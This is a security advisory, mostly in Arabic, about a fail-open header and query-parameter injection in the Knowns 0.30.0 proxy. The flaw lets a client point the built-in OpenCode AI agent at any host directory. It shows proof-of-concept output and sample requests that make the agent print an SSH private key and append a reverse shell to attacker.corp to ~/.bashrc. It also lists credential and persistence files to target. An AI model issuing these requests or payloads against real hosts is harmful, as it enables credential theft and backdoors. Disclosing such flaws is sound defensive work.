
Knowns 0.30.0: حقن ترويسة بدون مصادقة يمنح وكيل الذكاء الاصطناعي وصولاً غير مقيّد إلى نظام ملفات المضيف
تم الإبلاغ عن ثغرة تفويض غير سليم وانتحال ترويسة (header spoofing) تتعلق بالوكيل العكسي (reverse proxy) الخاص بـ Knowns لخدمة (daemon) وكيل OpenCode AI المدمج (internal/server/server.go). ادّعى التقرير أنه عند تمرير طلبات HTTP إلى خدمة OpenCode المحلية، فشل الوكيل في الكتابة فوق ترويسة الطلب x-opencode-directory ومعامل الاستعلام ?directory بشكل غير مشروط. يمكن للعميل الذي يضبط أي من هاتين القيمتين بشكل صريح أن يوجّه وكيل OpenCode AI للعمل على أي دليل عشوائي في نظام ملفات المضيف بدلاً من جذر المشروع.
نظرًا لأن proxyOpenCode() في الأسطر 1283-1296 قد زُعم أنه يحقن activeRoot فقط عندما يترك الطلب الوارد هذه الحقول فارغة، فإن أي قيمة غير فارغة يوفّرها العميل ستمرّ دون تعديل إلى خلفية OpenCode. تقرأ خدمة OpenCode الترويسة x-opencode-directory لتهيئة شجرة الملفات وواجهة git وبيئة تنفيذ الطرفية الخاصة بها. لذلك، يمكن لمهاجم لديه وصول إلى منفذ HTTP الخاص بـ Knowns أن يوجّه وكيل الذكاء الاصطناعي المستقل - الذي يمتلك وصولاً كاملاً إلى الأدوات - للقراءة والكتابة والتنفيذ على أي دليل في المضيف، بما في ذلك أدلة النظام ومخازن بيانات الاعتماد.
سطح الهجوم قابل للوصول عبر الشبكة. يكشف Knowns عن واجهة HTTP API ونقطة نهاية MCP للعملاء الخارجيين - وهو نفس التعرّض المؤكَّد في التنبيه السابق GHSA-w323-3wpx-f7g5 (تجاوز حارس أذونات MCP)، الذي يتشارك سطح الهجوم هذا. يمكن لأي عميل HTTP قادر على الوصول إلى خادم Knowns حقن الترويسة دون بيانات اعتماد تتجاوز ما تقبله واجهة API العادية.
تستخدم منطق حماية الوكيل المُبلَّغ عنه شرطًا من نوع fail-open: فهو يتصرف فقط عندما تكون الترويسة أو المعامل غائبة. النمط الصحيح هو fail-closed: الكتابة فوق هذه القيم دائمًا بـ activeRoot بغض النظر عما أرسله العميل. الفرق سطر واحد - if == "" مقابل Set غير المشروط.
تم تطوير والتحقق من أداة تحقق آلية وحتمية بالكامل: bug_reports/poc_report_03.py.
نفّذ مجموعة التحقق المكتفية ذاتيًا باستخدام Python 3:
python CVE-2026-88899.py
مخرجات التحقق:
======================================================================
Knowns OpenCode Reverse Proxy - PoC Exploit & Verification Harness
Target: proxyOpenCode() Fail-Open Header/Parameter Injection
======================================================================
[+] Mock OpenCode Daemon listening on port 49162
[+] Knowns Proxy listening on port 49163
[*] Canonical Active Project Root: /workspace/knowns-project
----------------------------------------------------------------------
[Test 1] Baseline Normal Request (No Injected Headers):
Request: GET /api/opencode/session
Daemon received header: /workspace/knowns-project
Daemon received query: /workspace/knowns-project
Effective Directory: /workspace/knowns-project
=> Result: PASSED (Canonical activeRoot properly injected when header is absent)
[Test 2] Exploit Vector A: Client Injects 'x-opencode-directory: /home/victim/.ssh':
Attacker Sent Header: x-opencode-directory: /home/victim/.ssh
Daemon Received Header: /home/victim/.ssh
Effective Directory: /home/victim/.ssh
Sandbox Escaped: True
=> Result: [!] VULNERABILITY CONFIRMED! Host directory /home/victim/.ssh hijacked!
[Test 3] Exploit Vector B: Client Injects '?directory=/etc' on GET /session:
Attacker Injected Query: ?directory=/etc
Daemon Received Query: /etc
Effective Directory: /etc
Sandbox Escaped: True
=> Result: [!] VULNERABILITY CONFIRMED! Host directory /etc hijacked!
[Test 4] Exploit Vector C: Client Injects '?directory=/etc' on POST /session:
Attacker Injected Query: ?directory=/etc on POST
Daemon Received Query: /etc
Effective Directory: /etc
=> Result: [!] VULNERABILITY CONFIRMED! Guard was only scoped to GET /session!
[Test 5] Remediation Verification (Fail-Closed Enforcement):
Attacker Sent Header: /home/victim/.ssh
Attacker Sent Query: /etc
Daemon Received Header: /workspace/knowns-project
Daemon Received Query: /workspace/knowns-project
Effective Directory: /workspace/knowns-project
Sandbox Escaped: False
=> Result: [+] REMEDIATION VERIFIED! Header and query parameters unconditionally sanitized.
======================================================================
ALL TESTS PASSED: Fail-open exploit vectors and remediation proven deterministically.
======================================================================
POST /api/opencode/session HTTP/1.1
Host: 127.0.0.1:4141
Content-Type: application/json
x-opencode-directory: /home/victim/.ssh
{
"title": "System Diagnostic",
"prompt": "Read the contents of id_rsa and print them verbatim."
}
أثر التنفيذ:
x-opencode-directory: /home/victim/.ssh./home/victim/.ssh.id_rsa ويعيد المفتاح الخاص في تدفق استجابة JSON.POST /api/opencode/session HTTP/1.1
Host: 127.0.0.1:4141
Content-Type: application/json
x-opencode-directory: /home/victim
{
"title": "Environment Setup",
"prompt": "Append 'bash -i >& /dev/tcp/attacker.corp/4444 0>&1' to ~/.bashrc"
}
أثر التنفيذ:
/home/victim..bashrc.GET /api/opencode/session?directory=/home/victim/confidential-project HTTP/1.1
Host: 127.0.0.1:4141
أثر التنفيذ:
يعيد OpenCode بيانات وصفية للجلسة، والطلبات السابقة، ومقتطفات من الكود المصدري الخاص المرتبط بـ confidential-project.
~/.ssh/id_rsa)، وبيانات اعتماد السحابة (~/.aws/credentials، ~/.config/gcloud/)، ومفاتيح API، وسلاسل اتصال قواعد البيانات، وملفات .env.~/.bashrc، ~/.zshrc)، والمهام المجدولة (/etc/cron.d/)، وخطافات git (.git/hooks/pre-commit)، وتكوين التطبيقات.